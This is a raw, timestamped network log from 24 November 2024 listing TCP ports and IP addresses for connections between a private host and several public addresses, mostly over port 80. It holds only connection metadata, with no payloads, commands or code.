Nov 24, 2024 00:06:25.467838049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.467838049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.468528032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.468642950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.468705893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.468775988 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.469357967 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.469460011 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.469464064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.469516993 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.470268965 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.470325947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.470391035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.470391035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.471055984 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.471062899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.471191883 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.471911907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.471957922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.471996069 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.472029924 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.472678900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.472774029 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.472800970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.472944021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.473387957 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.473403931 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.473469973 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.473475933 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.473484039 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.473517895 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.473526001 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.473526955 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.473527908 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.473603010 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.473603964 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.474375010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.474566936 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.474596977 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.474612951 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.475142002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.475303888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.475413084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.475466013 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.475974083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.476032019 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.476424932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.476475954 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.476789951 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.476924896 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.477269888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.477350950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.477615118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.477721930 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.477840900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.478004932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.478431940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.478457928 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.478508949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.498251915 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.498703003 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.498716116 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.499207973 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.499212980 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.505579948 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.505618095 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.505664110 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.505701065 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.505728006 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.506131887 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.506145954 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.510651112 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.510657072 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.550682068 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.551238060 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.551259041 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.551857948 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.551862955 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.555538893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.555644989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.555836916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.555844069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.555859089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.555975914 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.556759119 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.556854963 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.557322979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.557401896 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.557615042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.557684898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.557920933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.557971001 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.558619976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.558677912 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.558763027 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.558769941 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.558818102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.559495926 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.559572935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.559665918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.559771061 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.560403109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.560492992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.561125040 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.561131954 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.561144114 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.561202049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.561813116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.561894894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.562333107 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.562529087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.562553883 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.562561035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.562618971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.563344002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.563352108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.563451052 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.564192057 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.564198971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.564330101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.564944029 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.565197945 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.565232038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.565666914 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.565824986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.565830946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.565882921 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.566610098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.566672087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.567456007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.567464113 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.567470074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.567513943 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.568240881 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.568316936 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.568478107 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.568579912 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.569077969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.569149971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.569302082 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.569448948 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.570125103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.570132017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.570184946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.570707083 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.570720911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.570786953 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.571543932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.571609974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.571778059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.571944952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.572403908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.572411060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.572509050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.573173046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.573245049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.573380947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.573474884 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.573493958 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.573533058 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.573659897 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.573673964 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.573761940 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.582252979 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.582289934 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.582326889 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.582355022 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.582377911 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.582427025 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.582427025 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.582427025 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.620382071 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.620400906 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.665441036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.665646076 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.665916920 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.665924072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.665930033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.665975094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.666651964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.666703939 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.667109966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.667212963 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.667474031 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.667665958 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.667721033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.667721033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.668313980 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.668356895 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.668808937 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.668927908 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.669106007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.669162989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.669595003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.669781923 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.669961929 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.670031071 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.670083046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.670126915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.670794964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.670871973 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.671155930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.671209097 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.671602011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.671610117 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.671678066 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.672441006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.672595024 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.672657967 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.672804117 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.673258066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.673528910 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.673598051 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.673760891 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.674125910 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.674134016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.674182892 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.674913883 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.674993038 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.675148010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.675230026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.675745010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.675806046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.675825119 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.675865889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.676558971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.676639080 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.676713943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.676856995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.677377939 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.677438021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.677448034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.677483082 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.678234100 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.678270102 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.678352118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.678352118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.679044008 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.679121017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.679177999 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.679863930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.679913044 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.679944992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.679970980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.680684090 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.680876017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.680897951 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.681029081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.681518078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.681572914 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.681909084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.682279110 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.682333946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.682529926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.682607889 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.682707071 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.683175087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.683298111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.683516026 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.683621883 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.684027910 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.684217930 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.684236050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.684288979 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.684823036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.684909105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.685128927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.685247898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.685641050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.685782909 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.685820103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.686078072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.686469078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.686677933 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.686841011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.686902046 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.687297106 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.687355995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.687736034 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.687810898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.688114882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.688270092 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.688273907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.688329935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.688929081 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.688977003 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.689285994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.689358950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.691545963 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.692090988 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.692107916 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.692718983 CET	49736	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.692724943 CET	443	49736	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.727067947 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.727603912 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.727617025 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.728090048 CET	49737	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.728095055 CET	443	49737	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.765640974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.765711069 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.766081095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.766088963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.766094923 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.766206026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.766678095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.767533064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.767539978 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.767551899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.767611027 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.767971039 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.768043995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.768254995 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.768300056 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.768790007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.768805027 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.768831015 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.768846035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.769608974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.769798994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.769804955 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.769895077 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.770128012 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.770303965 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.770354986 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.770453930 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.770514965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.770670891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.770836115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.771322012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.771328926 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.771377087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.772190094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.772196054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.772253990 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.772620916 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.772636890 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.772648096 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.772654057 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.772921085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.773088932 CET	49720	80	192.168.2.6	185.215.113.206
